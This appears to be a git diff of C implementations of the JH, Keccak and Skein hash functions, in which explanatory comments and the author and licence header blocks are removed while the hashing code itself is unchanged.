{0x72,0xd5,0xde,0xa2,0xdf,0x15,0xf8,0x67,0x7b,0x84,0x15,0xa,0xb7,0x23,0x15,0x57,0x81,0xab,0xd6,0x90,0x4d,0x5a,0x87,0xf6,0x4e,0x9f,0x4f,0xc5,0xc3,0xd1,0x2b,0x40}, {0x72,0xd5,0xde,0xa2,0xdf,0x15,0xf8,0x67,0x7b,0x84,0x15,0xa,0xb7,0x23,0x15,0x57,0x81,0xab,0xd6,0x90,0x4d,0x5a,0x87,0xf6,0x4e,0x9f,0x4f,0xc5,0xc3,0xd1,0x2b,0x40},
{0xea,0x98,0x3a,0xe0,0x5c,0x45,0xfa,0x9c,0x3,0xc5,0xd2,0x99,0x66,0xb2,0x99,0x9a,0x66,0x2,0x96,0xb4,0xf2,0xbb,0x53,0x8a,0xb5,0x56,0x14,0x1a,0x88,0xdb,0xa2,0x31}, {0xea,0x98,0x3a,0xe0,0x5c,0x45,0xfa,0x9c,0x3,0xc5,0xd2,0x99,0x66,0xb2,0x99,0x9a,0x66,0x2,0x96,0xb4,0xf2,0xbb,0x53,0x8a,0xb5,0x56,0x14,0x1a,0x88,0xdb,0xa2,0x31},
@ -90,29 +75,29 @@ const unsigned char E8_bitslice_roundconstant[42][32]={
{0x35,0xb4,0x98,0x31,0xdb,0x41,0x15,0x70,0xea,0x1e,0xf,0xbb,0xed,0xcd,0x54,0x9b,0x9a,0xd0,0x63,0xa1,0x51,0x97,0x40,0x72,0xf6,0x75,0x9d,0xbf,0x91,0x47,0x6f,0xe2}}; {0x35,0xb4,0x98,0x31,0xdb,0x41,0x15,0x70,0xea,0x1e,0xf,0xbb,0xed,0xcd,0x54,0x9b,0x9a,0xd0,0x63,0xa1,0x51,0x97,0x40,0x72,0xf6,0x75,0x9d,0xbf,0x91,0x47,0x6f,0xe2}};
static void E8(hashState *state); /*The bijective function E8, in bitslice form*/ static void E8(hashState *state);
static void F8(hashState *state); /*The compression function F8 */ static void F8(hashState *state);
/*The API functions*/
static HashReturn Init(hashState *state, int hashbitlen); static HashReturn Init(hashState *state, int hashbitlen);
static HashReturn Update(hashState *state, const BitSequence *data, DataLength databitlen); static HashReturn Update(hashState *state, const BitSequence *data, DataLength databitlen);
static HashReturn Final(hashState *state, BitSequence *hashval); static HashReturn Final(hashState *state, BitSequence *hashval);
HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen, BitSequence *hashval); HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen, BitSequence *hashval);
/*swapping bit 2i with bit 2i+1 of 64-bit x*/
#define SWAP1(x) (x) = ((((x) & 0x5555555555555555ULL) << 1) | (((x) & 0xaaaaaaaaaaaaaaaaULL) >> 1)); #define SWAP1(x) (x) = ((((x) & 0x5555555555555555ULL) << 1) | (((x) & 0xaaaaaaaaaaaaaaaaULL) >> 1));
/*swapping bits 4i||4i+1 with bits 4i+2||4i+3 of 64-bit x*/
#define SWAP2(x) (x) = ((((x) & 0x3333333333333333ULL) << 2) | (((x) & 0xccccccccccccccccULL) >> 2)); #define SWAP2(x) (x) = ((((x) & 0x3333333333333333ULL) << 2) | (((x) & 0xccccccccccccccccULL) >> 2));
/*swapping bits 8i||8i+1||8i+2||8i+3 with bits 8i+4||8i+5||8i+6||8i+7 of 64-bit x*/
#define SWAP4(x) (x) = ((((x) & 0x0f0f0f0f0f0f0f0fULL) << 4) | (((x) & 0xf0f0f0f0f0f0f0f0ULL) >> 4)); #define SWAP4(x) (x) = ((((x) & 0x0f0f0f0f0f0f0f0fULL) << 4) | (((x) & 0xf0f0f0f0f0f0f0f0ULL) >> 4));
/*swapping bits 16i||16i+1||......||16i+7 with bits 16i+8||16i+9||......||16i+15 of 64-bit x*/
#define SWAP8(x) (x) = ((((x) & 0x00ff00ff00ff00ffULL) << 8) | (((x) & 0xff00ff00ff00ff00ULL) >> 8)); #define SWAP8(x) (x) = ((((x) & 0x00ff00ff00ff00ffULL) << 8) | (((x) & 0xff00ff00ff00ff00ULL) >> 8));
/*swapping bits 32i||32i+1||......||32i+15 with bits 32i+16||32i+17||......||32i+31 of 64-bit x*/
#define SWAP16(x) (x) = ((((x) & 0x0000ffff0000ffffULL) << 16) | (((x) & 0xffff0000ffff0000ULL) >> 16)); #define SWAP16(x) (x) = ((((x) & 0x0000ffff0000ffffULL) << 16) | (((x) & 0xffff0000ffff0000ULL) >> 16));
/*swapping bits 64i||64i+1||......||64i+31 with bits 64i+32||64i+33||......||64i+63 of 64-bit x*/
#define SWAP32(x) (x) = (((x) << 32) | ((x) >> 32)); #define SWAP32(x) (x) = (((x) << 32) | ((x) >> 32));
/*The MDS transform*/
#define L(m0,m1,m2,m3,m4,m5,m6,m7) \ #define L(m0,m1,m2,m3,m4,m5,m6,m7) \
(m4) ^= (m1); \ (m4) ^= (m1); \
(m5) ^= (m2); \ (m5) ^= (m2); \
@ -123,8 +108,8 @@ HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen
(m2) ^= (m4) ^ (m7); \ (m2) ^= (m4) ^ (m7); \
(m3) ^= (m4); (m3) ^= (m4);
/*Two Sboxes are computed in parallel, each Sbox implements S0 and S1, selected by a constant bit*/
/*The reason to compute two Sboxes in parallel is to try to fully utilize the parallel processing power*/
#define SS(m0,m1,m2,m3,m4,m5,m6,m7,cc0,cc1) \ #define SS(m0,m1,m2,m3,m4,m5,m6,m7,cc0,cc1) \
m3 = ~(m3); \ m3 = ~(m3); \
m7 = ~(m7); \ m7 = ~(m7); \
@ -149,60 +134,60 @@ HashReturn jh_hash(int hashbitlen, const BitSequence *data,DataLength databitlen
m2 ^= temp0; \ m2 ^= temp0; \
m6 ^= temp1; m6 ^= temp1;
/*The bijective function E8, in bitslice form*/
static void E8(hashState *state) static void E8(hashState *state)
{ {
uint64 i,roundnumber,temp0,temp1; uint64 i,roundnumber,temp0,temp1;
for (roundnumber = 0; roundnumber < 42; roundnumber = roundnumber+7) { for (roundnumber = 0; roundnumber < 42; roundnumber = roundnumber+7) {
/*round 7*roundnumber+0: Sbox, MDS and Swapping layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+0])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+0])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+0])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+0])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
SWAP1(state->x[1][i]); SWAP1(state->x[3][i]); SWAP1(state->x[5][i]); SWAP1(state->x[7][i]); SWAP1(state->x[1][i]); SWAP1(state->x[3][i]); SWAP1(state->x[5][i]); SWAP1(state->x[7][i]);
} }
/*round 7*roundnumber+1: Sbox, MDS and Swapping layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+1])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+1])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+1])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+1])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
SWAP2(state->x[1][i]); SWAP2(state->x[3][i]); SWAP2(state->x[5][i]); SWAP2(state->x[7][i]); SWAP2(state->x[1][i]); SWAP2(state->x[3][i]); SWAP2(state->x[5][i]); SWAP2(state->x[7][i]);
} }
/*round 7*roundnumber+2: Sbox, MDS and Swapping layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+2])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+2])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+2])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+2])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
SWAP4(state->x[1][i]); SWAP4(state->x[3][i]); SWAP4(state->x[5][i]); SWAP4(state->x[7][i]); SWAP4(state->x[1][i]); SWAP4(state->x[3][i]); SWAP4(state->x[5][i]); SWAP4(state->x[7][i]);
} }
/*round 7*roundnumber+3: Sbox, MDS and Swapping layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+3])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+3])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+3])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+3])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
SWAP8(state->x[1][i]); SWAP8(state->x[3][i]); SWAP8(state->x[5][i]); SWAP8(state->x[7][i]); SWAP8(state->x[1][i]); SWAP8(state->x[3][i]); SWAP8(state->x[5][i]); SWAP8(state->x[7][i]);
} }
/*round 7*roundnumber+4: Sbox, MDS and Swapping layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+4])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+4])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+4])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+4])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
SWAP16(state->x[1][i]); SWAP16(state->x[3][i]); SWAP16(state->x[5][i]); SWAP16(state->x[7][i]); SWAP16(state->x[1][i]); SWAP16(state->x[3][i]); SWAP16(state->x[5][i]); SWAP16(state->x[7][i]);
} }
/*round 7*roundnumber+5: Sbox, MDS and Swapping layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+5])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+5])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+5])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+5])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
SWAP32(state->x[1][i]); SWAP32(state->x[3][i]); SWAP32(state->x[5][i]); SWAP32(state->x[7][i]); SWAP32(state->x[1][i]); SWAP32(state->x[3][i]); SWAP32(state->x[5][i]); SWAP32(state->x[7][i]);
} }
/*round 7*roundnumber+6: Sbox and MDS layers*/
for (i = 0; i < 2; i++) { for (i = 0; i < 2; i++) {
SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+6])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+6])[i+2] ); SS(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i],((uint64*)E8_bitslice_roundconstant[roundnumber+6])[i],((uint64*)E8_bitslice_roundconstant[roundnumber+6])[i+2] );
L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]); L(state->x[0][i],state->x[2][i],state->x[4][i],state->x[6][i],state->x[1][i],state->x[3][i],state->x[5][i],state->x[7][i]);
} }
/*round 7*roundnumber+6: swapping layer*/
for (i = 1; i < 8; i = i+2) { for (i = 1; i < 8; i = i+2) {
temp0 = state->x[i][0]; state->x[i][0] = state->x[i][1]; state->x[i][1] = temp0; temp0 = state->x[i][0]; state->x[i][0] = state->x[i][1]; state->x[i][1] = temp0;
} }
@ -210,31 +195,31 @@ static void E8(hashState *state)
} }
/*The compression function F8 */
static void F8(hashState *state) static void F8(hashState *state)
{ {
uint64 i; uint64 i;
/*xor the 512-bit message with the fist half of the 1024-bit hash state*/
for (i = 0; i < 8; i++) state->x[i >> 1][i & 1] ^= ((uint64*)state->buffer)[i]; for (i = 0; i < 8; i++) state->x[i >> 1][i & 1] ^= ((uint64*)state->buffer)[i];
/*the bijective function E8 */
E8(state); E8(state);
/*xor the 512-bit message with the second half of the 1024-bit hash state*/
for (i = 0; i < 8; i++) state->x[(8+i) >> 1][(8+i) & 1] ^= ((uint64*)state->buffer)[i]; for (i = 0; i < 8; i++) state->x[(8+i) >> 1][(8+i) & 1] ^= ((uint64*)state->buffer)[i];
} }
/*before hashing a message, initialize the hash state as H0 */
static HashReturn Init(hashState *state, int hashbitlen) static HashReturn Init(hashState *state, int hashbitlen)
{ {
state->databitlen = 0; state->databitlen = 0;
state->datasize_in_buffer = 0; state->datasize_in_buffer = 0;
/*initialize the initial hash value of JH*/
state->hashbitlen = hashbitlen; state->hashbitlen = hashbitlen;
/*load the intital hash value into state*/
switch (hashbitlen) switch (hashbitlen)
{ {
case 224: memcpy(state->x,JH224_H0,128); break; case 224: memcpy(state->x,JH224_H0,128); break;
@ -247,18 +232,18 @@ static HashReturn Init(hashState *state, int hashbitlen)
} }
/*hash each 512-bit message block, except the last partial block*/
static HashReturn Update(hashState *state, const BitSequence *data, DataLength databitlen) static HashReturn Update(hashState *state, const BitSequence *data, DataLength databitlen)
{ {
DataLength index; /*the starting address of the data to be compressed*/ DataLength index;
state->databitlen += databitlen; state->databitlen += databitlen;
index = 0; index = 0;
/*if there is remaining data in the buffer, fill it to a full message block first*/
/*we assume that the size of the data in the buffer is the multiple of 8 bits if it is not at the end of a message*/
/*There is data in the buffer, but the incoming data is insufficient for a full block*/
if ( (state->datasize_in_buffer > 0 ) && (( state->datasize_in_buffer + databitlen) < 512) ) { if ( (state->datasize_in_buffer > 0 ) && (( state->datasize_in_buffer + databitlen) < 512) ) {
if ( (databitlen & 7) == 0 ) { if ( (databitlen & 7) == 0 ) {
memcpy(state->buffer + (state->datasize_in_buffer >> 3), data, 64-(state->datasize_in_buffer >> 3)) ; memcpy(state->buffer + (state->datasize_in_buffer >> 3), data, 64-(state->datasize_in_buffer >> 3)) ;
@ -268,7 +253,7 @@ static HashReturn Update(hashState *state, const BitSequence *data, DataLength d
databitlen = 0; databitlen = 0;
} }
/*There is data in the buffer, and the incoming data is sufficient for a full block*/
if ( (state->datasize_in_buffer > 0 ) && (( state->datasize_in_buffer + databitlen) >= 512) ) { if ( (state->datasize_in_buffer > 0 ) && (( state->datasize_in_buffer + databitlen) >= 512) ) {
memcpy( state->buffer + (state->datasize_in_buffer >> 3), data, 64-(state->datasize_in_buffer >> 3) ) ; memcpy( state->buffer + (state->datasize_in_buffer >> 3), data, 64-(state->datasize_in_buffer >> 3) ) ;
index = 64-(state->datasize_in_buffer >> 3); index = 64-(state->datasize_in_buffer >> 3);
@ -277,13 +262,13 @@ static HashReturn Update(hashState *state, const BitSequence *data, DataLength d
state->datasize_in_buffer = 0; state->datasize_in_buffer = 0;
} }
/*hash the remaining full message blocks*/
for ( ; databitlen >= 512; index = index+64, databitlen = databitlen - 512) { for ( ; databitlen >= 512; index = index+64, databitlen = databitlen - 512) {
memcpy(state->buffer, data+index, 64); memcpy(state->buffer, data+index, 64);
F8(state); F8(state);
} }
/*store the partial block into buffer, assume that -- if part of the last byte is not part of the message, then that part consists of 0 bits*/
if ( databitlen > 0) { if ( databitlen > 0) {
if ((databitlen & 7) == 0) if ((databitlen & 7) == 0)
memcpy(state->buffer, data+index, (databitlen & 0x1ff) >> 3); memcpy(state->buffer, data+index, (databitlen & 0x1ff) >> 3);
@ -295,13 +280,13 @@ static HashReturn Update(hashState *state, const BitSequence *data, DataLength d
return(SUCCESS); return(SUCCESS);
} }
/*pad the message, process the padded block(s), truncate the hash value H to obtain the message digest*/
static HashReturn Final(hashState *state, BitSequence *hashval) static HashReturn Final(hashState *state, BitSequence *hashval)
{ {
unsigned int i; unsigned int i;
if ( (state->databitlen & 0x1ff) == 0 ) { if ( (state->databitlen & 0x1ff) == 0 ) {
/*pad the message when databitlen is multiple of 512 bits, then process the padded block*/
memset(state->buffer, 0, 64); memset(state->buffer, 0, 64);
state->buffer[0] = 0x80; state->buffer[0] = 0x80;
state->buffer[63] = state->databitlen & 0xff; state->buffer[63] = state->databitlen & 0xff;
@ -315,13 +300,13 @@ static HashReturn Final(hashState *state, BitSequence *hashval)
F8(state); F8(state);
} }
else { else {
/*set the rest of the bytes in the buffer to 0*/
if ( (state->datasize_in_buffer & 7) == 0) if ( (state->datasize_in_buffer & 7) == 0)
for (i = (state->databitlen & 0x1ff) >> 3; i < 64; i++) state->buffer[i] = 0; for (i = (state->databitlen & 0x1ff) >> 3; i < 64; i++) state->buffer[i] = 0;
else else
for (i = ((state->databitlen & 0x1ff) >> 3)+1; i < 64; i++) state->buffer[i] = 0; for (i = ((state->databitlen & 0x1ff) >> 3)+1; i < 64; i++) state->buffer[i] = 0;
/*pad and process the partial block when databitlen is not multiple of 512 bits, then hash the padded blocks*/
state->buffer[((state->databitlen & 0x1ff) >> 3)] |= 1 << (7- (state->databitlen & 7)); state->buffer[((state->databitlen & 0x1ff) >> 3)] |= 1 << (7- (state->databitlen & 7));
F8(state); F8(state);
@ -337,7 +322,7 @@ static HashReturn Final(hashState *state, BitSequence *hashval)
F8(state); F8(state);
} }
/*truncating the final hash value to generate the message digest*/
switch(state->hashbitlen) { switch(state->hashbitlen) {
case 224: memcpy(hashval,(unsigned char*)state->x+64+36,28); break; case 224: memcpy(hashval,(unsigned char*)state->x+64+36,28); break;
case 256: memcpy(hashval,(unsigned char*)state->x+64+32,32); break; case 256: memcpy(hashval,(unsigned char*)state->x+64+32,32); break;

View file

@ -1,17 +1,3 @@
/*This program gives the 64-bit optimized bitslice implementation of JH using ANSI C
--------------------------------
Performance
Microprocessor: Intel CORE 2 processor (Core 2 Duo Mobile T6600 2.2GHz)
Operating System: 64-bit Ubuntu 10.04 (Linux kernel 2.6.32-22-generic)
Speed for long message:
1) 45.8 cycles/byte compiler: Intel C++ Compiler 11.1 compilation option: icc -O2
2) 56.8 cycles/byte compiler: gcc 4.4.3 compilation option: gcc -O3
--------------------------------
Last Modified: January 16, 2011
*/
#pragma once #pragma once
#include "hash.h" #include "hash.h"

View file

@ -1,7 +1,3 @@
// keccak.c
// 19-Nov-11 Markku-Juhani O. Saarinen <mjos@iki.fi>
// A baseline Keccak (3rd round) implementation.
#include <stdint.h> #include <stdint.h>
#include <memory.h> #include <memory.h>

View file

@ -1,24 +1,14 @@
/*********************************************************************** #define SKEIN_PORT_CODE
**
** Implementation of the Skein hash function.
**
** Source code author: Doug Whiting, 2008.
**
** This algorithm and source code is released to the public domain.
**
************************************************************************/
#define SKEIN_PORT_CODE /* instantiate any code in skein_port.h */ #include <stddef.h>
#include <string.h>
#include <stddef.h> /* get size_t definition */ #include "c_skein.h"
#include <string.h> /* get the memcpy/memset functions */
#include "c_skein.h" /* get the Skein API definitions */
#ifndef SKEIN_512_NIST_MAX_HASHBITS #ifndef SKEIN_512_NIST_MAX_HASHBITS
#define SKEIN_512_NIST_MAX_HASHBITS (512) #define SKEIN_512_NIST_MAX_HASHBITS (512)
#endif #endif
#define SKEIN_MODIFIER_WORDS ( 2) /* number of modifier (tweak) words */ #define SKEIN_MODIFIER_WORDS ( 2)
#define SKEIN_512_STATE_WORDS ( 8) #define SKEIN_512_STATE_WORDS ( 8)
#define SKEIN_MAX_STATE_WORDS (16) #define SKEIN_MAX_STATE_WORDS (16)
@ -34,19 +24,19 @@
typedef struct typedef struct
{ {
size_t hashBitLen; /* size of hash result, in bits */ size_t hashBitLen;
size_t bCnt; /* current byte count in buffer b[] */ size_t bCnt;
u64b_t T[SKEIN_MODIFIER_WORDS]; /* tweak words: T[0]=byte cnt, T[1]=flags */ u64b_t T[SKEIN_MODIFIER_WORDS];
} Skein_Ctxt_Hdr_t; } Skein_Ctxt_Hdr_t;
typedef struct /* 512-bit Skein hash context structure */ typedef struct
{ {
Skein_Ctxt_Hdr_t h; /* common header context variables */ Skein_Ctxt_Hdr_t h;
u64b_t X[SKEIN_512_STATE_WORDS]; /* chaining variables */ u64b_t X[SKEIN_512_STATE_WORDS];
u08b_t b[SKEIN_512_BLOCK_BYTES]; /* partial block buffer (8-byte aligned) */ u08b_t b[SKEIN_512_BLOCK_BYTES];
} Skein_512_Ctxt_t; } Skein_512_Ctxt_t;
/* Skein APIs for (incremental) "straight hashing" */
static int Skein_512_Init (Skein_512_Ctxt_t *ctx, size_t hashBitLen); static int Skein_512_Init (Skein_512_Ctxt_t *ctx, size_t hashBitLen);
static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msgByteCnt); static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msgByteCnt);
static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal); static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
@ -54,61 +44,51 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#ifndef SKEIN_TREE_HASH #ifndef SKEIN_TREE_HASH
#define SKEIN_TREE_HASH (1) #define SKEIN_TREE_HASH (1)
#endif #endif
#define SKEIN_T1_BIT(BIT) ((BIT) - 64)
/***************************************************************** #define SKEIN_T1_POS_TREE_LVL SKEIN_T1_BIT(112)
** "Internal" Skein definitions #define SKEIN_T1_POS_BIT_PAD SKEIN_T1_BIT(119)
** -- not needed for sequential hashing API, but will be #define SKEIN_T1_POS_BLK_TYPE SKEIN_T1_BIT(120)
** helpful for other uses of Skein (e.g., tree hash mode). #define SKEIN_T1_POS_FIRST SKEIN_T1_BIT(126)
** -- included here so that they can be shared between #define SKEIN_T1_POS_FINAL SKEIN_T1_BIT(127)
** reference and optimized code.
******************************************************************/
/* tweak word T[1]: bit field starting positions */
#define SKEIN_T1_BIT(BIT) ((BIT) - 64) /* offset 64 because it's the second word */
#define SKEIN_T1_POS_TREE_LVL SKEIN_T1_BIT(112) /* bits 112..118: level in hash tree */
#define SKEIN_T1_POS_BIT_PAD SKEIN_T1_BIT(119) /* bit 119 : partial final input byte */
#define SKEIN_T1_POS_BLK_TYPE SKEIN_T1_BIT(120) /* bits 120..125: type field */
#define SKEIN_T1_POS_FIRST SKEIN_T1_BIT(126) /* bits 126 : first block flag */
#define SKEIN_T1_POS_FINAL SKEIN_T1_BIT(127) /* bit 127 : final block flag */
/* tweak word T[1]: flag bit definition(s) */
#define SKEIN_T1_FLAG_FIRST (((u64b_t) 1 ) << SKEIN_T1_POS_FIRST) #define SKEIN_T1_FLAG_FIRST (((u64b_t) 1 ) << SKEIN_T1_POS_FIRST)
#define SKEIN_T1_FLAG_FINAL (((u64b_t) 1 ) << SKEIN_T1_POS_FINAL) #define SKEIN_T1_FLAG_FINAL (((u64b_t) 1 ) << SKEIN_T1_POS_FINAL)
#define SKEIN_T1_FLAG_BIT_PAD (((u64b_t) 1 ) << SKEIN_T1_POS_BIT_PAD) #define SKEIN_T1_FLAG_BIT_PAD (((u64b_t) 1 ) << SKEIN_T1_POS_BIT_PAD)
/* tweak word T[1]: tree level bit field mask */
#define SKEIN_T1_TREE_LVL_MASK (((u64b_t)0x7F) << SKEIN_T1_POS_TREE_LVL) #define SKEIN_T1_TREE_LVL_MASK (((u64b_t)0x7F) << SKEIN_T1_POS_TREE_LVL)
#define SKEIN_T1_TREE_LEVEL(n) (((u64b_t) (n)) << SKEIN_T1_POS_TREE_LVL) #define SKEIN_T1_TREE_LEVEL(n) (((u64b_t) (n)) << SKEIN_T1_POS_TREE_LVL)
/* tweak word T[1]: block type field */
#define SKEIN_BLK_TYPE_KEY ( 0) /* key, for MAC and KDF */ #define SKEIN_BLK_TYPE_KEY ( 0)
#define SKEIN_BLK_TYPE_CFG ( 4) /* configuration block */ #define SKEIN_BLK_TYPE_CFG ( 4)
#define SKEIN_BLK_TYPE_PERS ( 8) /* personalization string */ #define SKEIN_BLK_TYPE_PERS ( 8)
#define SKEIN_BLK_TYPE_PK (12) /* public key (for digital signature hashing) */ #define SKEIN_BLK_TYPE_PK (12)
#define SKEIN_BLK_TYPE_KDF (16) /* key identifier for KDF */ #define SKEIN_BLK_TYPE_KDF (16)
#define SKEIN_BLK_TYPE_NONCE (20) /* nonce for PRNG */ #define SKEIN_BLK_TYPE_NONCE (20)
#define SKEIN_BLK_TYPE_MSG (48) /* message processing */ #define SKEIN_BLK_TYPE_MSG (48)
#define SKEIN_BLK_TYPE_OUT (63) /* output stage */ #define SKEIN_BLK_TYPE_OUT (63)
#define SKEIN_BLK_TYPE_MASK (63) /* bit field mask */ #define SKEIN_BLK_TYPE_MASK (63)
#define SKEIN_T1_BLK_TYPE(T) (((u64b_t) (SKEIN_BLK_TYPE_##T)) << SKEIN_T1_POS_BLK_TYPE) #define SKEIN_T1_BLK_TYPE(T) (((u64b_t) (SKEIN_BLK_TYPE_##T)) << SKEIN_T1_POS_BLK_TYPE)
#define SKEIN_T1_BLK_TYPE_KEY SKEIN_T1_BLK_TYPE(KEY) /* key, for MAC and KDF */ #define SKEIN_T1_BLK_TYPE_KEY SKEIN_T1_BLK_TYPE(KEY)
#define SKEIN_T1_BLK_TYPE_CFG SKEIN_T1_BLK_TYPE(CFG) /* configuration block */ #define SKEIN_T1_BLK_TYPE_CFG SKEIN_T1_BLK_TYPE(CFG)
#define SKEIN_T1_BLK_TYPE_PERS SKEIN_T1_BLK_TYPE(PERS) /* personalization string */ #define SKEIN_T1_BLK_TYPE_PERS SKEIN_T1_BLK_TYPE(PERS)
#define SKEIN_T1_BLK_TYPE_PK SKEIN_T1_BLK_TYPE(PK) /* public key (for digital signature hashing) */ #define SKEIN_T1_BLK_TYPE_PK SKEIN_T1_BLK_TYPE(PK)
#define SKEIN_T1_BLK_TYPE_KDF SKEIN_T1_BLK_TYPE(KDF) /* key identifier for KDF */ #define SKEIN_T1_BLK_TYPE_KDF SKEIN_T1_BLK_TYPE(KDF)
#define SKEIN_T1_BLK_TYPE_NONCE SKEIN_T1_BLK_TYPE(NONCE)/* nonce for PRNG */ #define SKEIN_T1_BLK_TYPE_NONCE SKEIN_T1_BLK_TYPE(NONCE)
#define SKEIN_T1_BLK_TYPE_MSG SKEIN_T1_BLK_TYPE(MSG) /* message processing */ #define SKEIN_T1_BLK_TYPE_MSG SKEIN_T1_BLK_TYPE(MSG)
#define SKEIN_T1_BLK_TYPE_OUT SKEIN_T1_BLK_TYPE(OUT) /* output stage */ #define SKEIN_T1_BLK_TYPE_OUT SKEIN_T1_BLK_TYPE(OUT)
#define SKEIN_T1_BLK_TYPE_MASK SKEIN_T1_BLK_TYPE(MASK) /* field bit mask */ #define SKEIN_T1_BLK_TYPE_MASK SKEIN_T1_BLK_TYPE(MASK)
#define SKEIN_T1_BLK_TYPE_CFG_FINAL (SKEIN_T1_BLK_TYPE_CFG | SKEIN_T1_FLAG_FINAL) #define SKEIN_T1_BLK_TYPE_CFG_FINAL (SKEIN_T1_BLK_TYPE_CFG | SKEIN_T1_FLAG_FINAL)
